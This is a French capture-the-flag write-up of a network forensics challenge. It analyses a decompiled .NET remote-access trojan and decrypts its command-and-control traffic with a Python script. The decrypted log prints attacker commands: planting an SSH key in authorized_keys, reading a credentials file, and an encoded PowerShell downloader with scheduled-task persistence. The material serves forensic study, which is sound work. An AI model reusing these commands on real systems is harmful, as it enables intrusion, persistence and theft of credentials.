Data Siege

Catégorie: Forensics Difficulté: medium Flag: HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}

Challenge

Description


It was a tranquil night in the Phreaks headquarters, when the entire district erupted in chaos. Unknown assailants, rumored to be a rogue foreign faction, have infiltrated the city's messaging system and critical infrastructure. Garbled transmissions crackle through the airwaves, spewing misinformation and disrupting communication channels. We need to understand which data has been obtained from this attack to reclaim control of the communication backbone. Note: Flag is split into three parts.

Analyse

Fichier .pcap

Nous avons une capture du traffic réseau, dedans on peut aller voir les différents fichiers échangés avec le protocol HTTP

Il y a 3 fichiers (dont 2 identiques donc que 2 fichiers intéressants) :

  • aQ4caZ.exe un exécutable

  • nBISC4YJKs7j4I un fichier sans extension

Fichier nBISC4YJKs7j4I

En l’ouvrant dans un éditeur de texte, on voit qu’il s’agit d’XML et que c’est ce fichier qui est respnsable du téléchargement de l’exécutable.

Ligne 7 on voit que le powershell va cherche l’exécutable et le lance ensuite

Fichier aQ4caZ.exe

Pré-analyse

Un coup de file dessus permet de voir qu’il s’agit d’un PE en .NET. On peut donc utiliser DotPeek pour le décompiler.

$ file aQ4caZ.exe
aQ4caZ.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

Etude du code

Il contient 4 namespaces : EZRATClient / EZRATClientCore / EZRATClient.Forms / EZRATCient.Utils

Dans EZRATClient on y trouve la classe Program

namespace EZRATClient
{
  public class Program
  {
    private static TcpClient client = new TcpClient();
    private static bool connectedBefore = false;
    private static Thread TConnect;
    public static Socket _clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    private static bool _isDiconnect;
    private static bool isFileDownload;
    private static string fup_location = "";
// [...]

Celle-ci permet visiblement de créer une recevoir une connexion TCP puis de recevoir et envoyer des commandes.

Mais comme on peut le voir à la ligne 9 de sa fonction SendCommand , tout le traffic est chiffré avant l’envoie :

   public static void SendCommand(string response)
    {
      if (!Program._clientSocket.Connected)
      {
        Console.WriteLine("Socket is not connected!");
      }
      else
      {
        response = Program.Encrypt(response);
        byte[] bytes = Encoding.Default.GetBytes(response);
        try
        {
          Program._clientSocket.Send(bytes);
        }
        catch (Exception ex)
        {
          Console.WriteLine("Send Command Failure " + ex.Message);
        }
      }
    }

On trouve la également la fonction Decrypt qui prend en paramètre simplement le chiffré

public static string Decrypt(string cipherText)
    {
      try
      {
        string encryptKey = Constantes.EncryptKey;
        byte[] buffer = Convert.FromBase64String(cipherText);
        using (Aes aes = Aes.Create())
        {
          Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[13]
          {
            (byte) 86,
            (byte) 101,
            (byte) 114,
            (byte) 121,
            (byte) 95,
            (byte) 83,
            (byte) 51,
            (byte) 99,
            (byte) 114,
            (byte) 51,
            (byte) 116,
            (byte) 95,
            (byte) 83
          });
          aes.Key = rfc2898DeriveBytes.GetBytes(32);
          aes.IV = rfc2898DeriveBytes.GetBytes(16);
          using (MemoryStream memoryStream = new MemoryStream())
          {
            using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
            {
              cryptoStream.Write(buffer, 0, buffer.Length);
              cryptoStream.Close();
            }
            cipherText = Encoding.Default.GetString(memoryStream.ToArray());
          }
        }
        return cipherText;
      }
// [...]

Cette fonction est intéressante parce qu’on voit qu’elle déchiffre de l’AES et que pour générer la clé, elle utilise une dérivation de clé rfc2898DeriveBytes

Cette fonction de dérivation prend 2 paramètres selon la doc de microsoft : un mot de passe et un salt.

Concernant le deuxième, le salt est écrit en dur : [86, 101, 114, 121, 95, 83, 51, 99, 114, 51, 116, 95, 83]

En ASCII ça se traduit par : Very_S3cr3t_S

Concernant la clé, on voit qu’elle vient de Constantes.EncryptKey et donc on peut la récupérer en se baladant dans la classe Constants

On peut également trouver l’ip / port de l’attaquant ainsi que la clé de chiffrement utilisée

public static class Constantes
  {
    private const int _SW_HIDE = 0;
    private const int _SW_SHOW = 5;
    private static string _ip = "10.10.10.21";
    private static int _port = 1234;
    private static int _screenShotSpeed = 100;
    private static string _version = "0.1.6.1";
    private static string _encryptKey = "VYAemVeO3zUDTL6N62kVA";
    private static Size _defaultCompressionSize = new Size(1280, 720);
    private static string _separator = "|";
    private static string _special_Separator = "¦";
    private static Thread _spy;
// [...]

Récupération des échanges

On connait donc l’adresse de l’attaquant, sa méthode de chiffrement et surtout comme la déchiffrer

Filtrage du réseau

Sachant que l’on cherche de la base64, on voit rapidemment des échanges qui y ressemblent dans le stream n°5. On va donc filtrer le traffic et déchiffrer ces messages

Pour le déchiffrement :

SECRET = b"VYAemVeO3zUDTL6N62kVA"
SALT = b"Very_S3cr3t_S"
derived = PBKDF2(SECRET, SALT, dkLen=48)
KEY = derived[:32]
IV = derived[32:48]

def decrypt(msg: bytes) -> bytes:
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    return unpad(cipher.decrypt(base64.b64decode(msg)), AES.block_size)

Pour le filtrage du traffic :

def solve():
    filename = 'capture.pcap'
    attacker_ip = "10.10.10.21"
    cap = pyshark.FileCapture(filename, display_filter="tcp.stream == 5", only_summaries=False)
    for packet in cap:
        if 'payload' not in packet.tcp.field_names:
            pass

Script complet

import base64
import re
import pyshark
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import unpad

SECRET = b"VYAemVeO3zUDTL6N62kVA"
SALT = b"Very_S3cr3t_S"
derived = PBKDF2(SECRET, SALT, dkLen=48)
KEY = derived[:32]
IV = derived[32:48]

def decrypt(msg: bytes) -> bytes:
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    return unpad(cipher.decrypt(base64.b64decode(msg)), AES.block_size)

def solve():
    filename = 'capture.pcap'
    attacker_ip = "10.10.10.21"
    cap = pyshark.FileCapture(filename, display_filter="tcp.stream == 5", only_summaries=False)
    for packet in cap:
		    # Si le paquet contient des données
        if 'payload' not in packet.tcp.field_names:
            continue

				# Récupération des données du paquet en bytes
        data = bytes.fromhex(packet.tcp.payload.replace(':', ''))
        # Si le paquet vient de l'attaquant
        is_attacker = packet.ip.src == attacker_ip
        # Retirer l'entête du paquet s'il y en a un
        if is_attacker and re.match(r'\d+\xa7.*'.encode(), data):
            data = data.split(b'\xa7', 1)[1]
            print()

				# Déchiffre le paquet
        try:
            print(decrypt(data).decode('latin-1'))
        except Exception:
            print(f'Error while decrypting: {data}')

if __name__ == '__main__':
    solve()

En sortie on a alors :

getinfo-0
infoback;0;10.10.10.22|SRV01|SRV01\svc01|Windows 10 Enterprise Evaluation|0.1.6.1

procview;
procview;svchost¦2060;svchost¦5316;ApplicationFrameHost¦4920;csrss¦388;svchost¦1372;svchost¦832;VBoxTray¦2748;fontdrvhost¦684;services¦576;svchost¦3528;lsass¦584;svchost¦6872;svchost¦1552;spoolsv¦1748;VBoxService¦1156;svchost¦760;conhost¦4108;svchost¦1152;dllhost¦6864;svchost¦2528;svchost¦1936;Memory Compression¦1428;RuntimeBroker¦4692;svchost¦4112;svchost¦1932;svchost¦748;smss¦284;svchost¦1140;svchost¦6852;svchost¦2320;MicrosoftEdge¦5076;svchost¦1332;svchost¦740;svchost¦3888;conhost¦4896;dwm¦340;java¦6052;svchost¦928;svchost¦3488;YourPhone¦1320;svchost¦1516;dllhost¦4204;SearchUI¦4664;svchost¦328;winlogon¦524;SgrmBroker¦6628;svchost¦2096;svchost¦1504;cmd¦2488;svchost¦1304;NisSrv¦2336;MicrosoftEdgeSH¦5636;svchost¦1104;browser_broker¦4592;svchost¦1100;svchost¦5284;explorer¦4052;svchost¦1164;svchost¦2076;svchost¦1680;aQ4caZ¦7148;svchost¦692;svchost¦100;dumpcap¦3516;MsMpEng¦2260;RuntimeBroker¦4820;svchost¦1272;Microsoft.Photos¦6392;svchost¦3436;fontdrvhost¦676;cmd¦84;taskhostw¦3628;RuntimeBroker¦6188;RuntimeBroker¦1384;java¦7028;MicrosoftEdgeCP¦5592;svchost¦1256;svchost¦3816;csrss¦464;Registry¦68;sihost¦3416;SecurityHealthSystray¦3156;svchost¦6368;svchost¦6564;wininit¦456;ctfmon¦3940;svchost¦1636;SecurityHealthService¦844;svchost¦1040;svchost¦2024;svchost¦6980;svchost¦1628;svchost¦1824;svchost¦1288;wlms¦2216;RuntimeBroker¦5564;svchost¦5364;svchost¦1620;svchost¦2012;svchost¦396;svchost¦6540;RuntimeBroker¦6780;WindowsInternal.ComposableShell.Experiences.TextInput.InputApp¦2200;svchost¦1604;svchost¦788;svchost¦1400;uhssvc¦6824;SearchIndexer¦5532;svchost¦4940;svchost¦3560;svchost¦1392;svchost¦1588;svchost¦1784;wrapper¦2176;svchost¦2568;ShellExperienceHost¦4536;System¦4;conhost¦2368;OneDrive¦1184;svchost¦1472;Idle¦0;

cmd;C:\;hostname
cmd;C:\;srv01

cmd;C:\;whoami
cmd;C:\;srv01\svc01

cmd;C:\;echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwyPZCQyJ/s45lt+cRqPhJj5qrSqd8cvhUaDhwsAemRey2r7Ta+wLtkWZobVIFS4HGzRobAw9s3hmFaCKI8GvfgMsxDSmb0bZcAAkl7cMzhA1F418CLlghANAPFM6Aud7DlJZUtJnN2BiTqbrjPmBuTKeBxjtI0uRTXt4JvpDKx9aCMNEDKGcKVz0KX/hejjR/Xy0nJxHWKgudEz3je31cVow6kKqp3ZUxzZz9BQlxU5kRp4yhUUxo3Fbomo6IsmBydqQdB+LbHGURUFLYWlWEy+1otr6JBwpAfzwZOYVEfLypl3Sjg+S6Fd1cH6jBJp/mG2R2zqCKt3jaWH5SJz13 HTB{c0mmun1c4710n5 >> C:\Users\svc01\.ssh\authorized_keys
cmd;C:\;

cmd;C:\;dir C:\Users\svc01\Documents
cmd;C:\; Volume in drive C is Windows 10
 Volume Serial Number is B4A6-FEC6

 Directory of C:\Users\svc01\Documents

02/28/2024  07:13 AM    <DIR>          .
02/28/2024  07:13 AM    <DIR>          ..
02/28/2024  05:14 AM                76 credentials.txt
               1 File(s)             76 bytes
               2 Dir(s)  24,147,230,720 bytes free

cmd;C:\;type C:\Users\svc01\Documents\credentials.txt
cmd;C:\;Username: svc01
Password: Passw0rdCorp5421

2nd flag part: _h45_b33n_r357

lsdrives
lsdrives;C:\|

lsfiles

lsfiles-C:\
lsfiles;C:\;$Recycle.Bin¦2|BGinfo¦2|Boot¦2|Documents and Settings¦2|PerfLogs¦2|Program Files¦2|Program Files (x86)¦2|ProgramData¦2|Recovery¦2|System Volume Information¦2|temp¦2|Users¦2|Windows¦2|bootmgr¦1¦408364|BOOTNXT¦1¦1|BOOTSECT.BAK¦1¦8192|bootTel.dat¦1¦80|pagefile.sys¦1¦738197504|swapfile.sys¦1¦268435456|
lsfiles;C:\;$Recycle.Bin¦2|BGinfo¦2|Boot¦2|Documents and Settings¦2|PerfLogs¦2|Program Files¦2|Program Files (x86)¦2|ProgramData¦2|Recovery¦2|System Volume Information¦2|temp¦2|Users¦2|Windows¦2|bootmgr¦1¦408364|BOOTNXT¦1¦1|BOOTSECT.BAK¦1¦8192|bootTel.dat¦1¦80|pagefile.sys¦1¦738197504|swapfile.sys¦1¦268435456|

lsfiles-C:\temp\
lsfiles;C:\temp\;aQ4caZ.exe¦1¦29184|

upfile;C:\temp\4AcFrqA.ps1
Error while decrypting: b'powershell.exe -encoded "CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA="\r\nAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB'
Error while decrypting: b'1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8'
upfilestop;
  • On trouve la première partie du flag dans la commande echo ssh-rsa : HTB{c0mmun1c4710n5

  • La seconde dans le fichier credentials.txt qui est affiché : _h45_b33n_r357

La troisième partie se trouve dans le fichier upload sur la victime, c’est à dire le paquet que l’on a pas pu déchiffrer puisqu’il n’était pas chiffré. Il s’agit du fichier 4AcFrqA.ps1 qui contient du powershell en base64, il suffit donc de le décoder

Dernière mise à jour

Cet article vous a-t-il été utile ?